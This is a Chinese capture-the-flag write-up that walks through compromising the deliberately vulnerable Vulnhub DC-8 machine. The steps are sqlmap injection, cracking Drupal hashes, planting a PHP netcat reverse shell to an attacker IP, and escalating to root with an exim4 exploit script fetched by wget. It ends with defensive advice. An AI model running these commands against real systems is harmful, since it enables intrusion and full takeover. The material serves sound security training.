Vulnhub靶机渗透测试之DC-8
字数 1079 2025-08-15 21:33:44

DC-8靶机渗透测试详细教学文档

1. 靶机环境准备

1.1 靶机下载与部署

  • 下载地址:https://download.vulnhub.com/dc/DC-8.zip
  • 文件格式:.ova虚拟机镜像
  • 运行环境:VMware或VirtualBox
  • 网络配置:建议使用桥接模式

1.2 攻击机配置

  • 推荐使用Kali Linux
  • 网络配置:与靶机同一网段

2. 信息收集阶段

2.1 主机发现与端口扫描

使用nmap进行初始扫描:

nmap -sV -p- 192.168.2.25

扫描结果:

  • 开放端口:22(SSH)、80(HTTP)
  • Web服务:Drupal 7.x CMS

2.2 Web目录扫描

使用dirsearch工具:

python3 dirsearch.py -u http://192.168.2.25 -e php

发现关键目录:登录界面

3. SQL注入利用

3.1 发现注入点

  • 导航栏"Details"模块存在注入点
  • URL参数:nid=1'

3.2 使用sqlmap进行自动化注入

3.2.1 基本注入检测

python2 sqlmap.py -u "http://192.168.2.25/?nid=1'"

3.2.2 数据库枚举

# 获取当前数据库
python2 sqlmap.py -u "http://192.168.2.25/?nid=1'" --current-db

# 枚举表
python2 sqlmap.py -u "http://192.168.2.25/?nid=1'" -D d7db --tables

# 枚举users表列
python2 sqlmap.py -u "http://192.168.2.25/?nid=1'" -D d7db -T users --columns

# 提取数据
python2 sqlmap.py -u "http://192.168.2.25/?nid=1'" -D d7db -T users -C name,pass --dump

3.2.3 获取的凭证

admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

4. 密码破解

4.1 使用John the Ripper

  1. 创建密码文件dc8.txt:
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
  1. 运行破解:
john dc8.txt

结果:john用户密码为"turtle"

5. Web应用登录与反弹shell

5.1 使用john凭证登录

  • 用户名:john
  • 密码:turtle

5.2 创建PHP反弹shell

在"Contact Us"页面编辑处插入:

<?php system("nc -e /bin/sh 172.20.10.3 1234"); ?>

5.3 设置监听

在攻击机上:

nc -lvnp 1234

5.4 触发反弹shell

访问修改后的页面,获取初始shell

6. 权限提升

6.1 获取交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

6.2 查找SUID提权机会

find / -user root -perm -4000 -print 2>/dev/null

发现可利用程序:/usr/sbin/exim4

6.3 检查exim4版本

/usr/sbin/exim4 --version

确认版本为4.x

6.4 查找可用漏洞

searchsploit exim 4

找到漏洞利用脚本:46996.sh

6.5 准备利用脚本

  1. 在攻击机:
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html/shell.sh
service apache2 start
  1. 在靶机:
cd /tmp
wget http://172.20.10.3/shell.sh
chmod +x shell.sh

6.6 解决格式问题

使用vim修改脚本格式:

:set ff=unix
:wq

6.7 执行提权

./shell.sh -m netcat

成功获取root权限

7. 关键知识点总结

  1. 信息收集

    • nmap扫描技巧
    • Web目录爆破
  2. SQL注入

    • 手工识别注入点
    • sqlmap高级用法
    • 数据库结构分析
  3. 密码破解

    • John the Ripper使用
    • Drupal密码哈希识别
  4. Web渗透

    • CMS漏洞利用
    • PHP代码注入
    • 反弹shell技术
  5. 权限提升

    • SUID提权原理
    • exim4漏洞利用
    • Linux二进制漏洞利用
  6. 问题解决

    • 脚本格式转换
    • 环境适配问题处理

8. 防御建议

  1. 及时更新CMS系统
  2. 使用参数化查询防止SQL注入
  3. 加强密码策略
  4. 限制SUID权限
  5. 保持系统组件最新版本
  6. 实施最小权限原则
DC-8靶机渗透测试详细教学文档 1. 靶机环境准备 1.1 靶机下载与部署 下载地址:https://download.vulnhub.com/dc/DC-8.zip 文件格式:.ova虚拟机镜像 运行环境:VMware或VirtualBox 网络配置:建议使用桥接模式 1.2 攻击机配置 推荐使用Kali Linux 网络配置:与靶机同一网段 2. 信息收集阶段 2.1 主机发现与端口扫描 使用nmap进行初始扫描: 扫描结果: 开放端口:22(SSH)、80(HTTP) Web服务:Drupal 7.x CMS 2.2 Web目录扫描 使用dirsearch工具: 发现关键目录:登录界面 3. SQL注入利用 3.1 发现注入点 导航栏"Details"模块存在注入点 URL参数: nid=1' 3.2 使用sqlmap进行自动化注入 3.2.1 基本注入检测 3.2.2 数据库枚举 3.2.3 获取的凭证 4. 密码破解 4.1 使用John the Ripper 创建密码文件dc8.txt: 运行破解: 结果:john用户密码为"turtle" 5. Web应用登录与反弹shell 5.1 使用john凭证登录 用户名:john 密码:turtle 5.2 创建PHP反弹shell 在"Contact Us"页面编辑处插入: 5.3 设置监听 在攻击机上: 5.4 触发反弹shell 访问修改后的页面,获取初始shell 6. 权限提升 6.1 获取交互式shell 6.2 查找SUID提权机会 发现可利用程序:/usr/sbin/exim4 6.3 检查exim4版本 确认版本为4.x 6.4 查找可用漏洞 找到漏洞利用脚本:46996.sh 6.5 准备利用脚本 在攻击机: 在靶机: 6.6 解决格式问题 使用vim修改脚本格式: 6.7 执行提权 成功获取root权限 7. 关键知识点总结 信息收集 : nmap扫描技巧 Web目录爆破 SQL注入 : 手工识别注入点 sqlmap高级用法 数据库结构分析 密码破解 : John the Ripper使用 Drupal密码哈希识别 Web渗透 : CMS漏洞利用 PHP代码注入 反弹shell技术 权限提升 : SUID提权原理 exim4漏洞利用 Linux二进制漏洞利用 问题解决 : 脚本格式转换 环境适配问题处理 8. 防御建议 及时更新CMS系统 使用参数化查询防止SQL注入 加强密码策略 限制SUID权限 保持系统组件最新版本 实施最小权限原则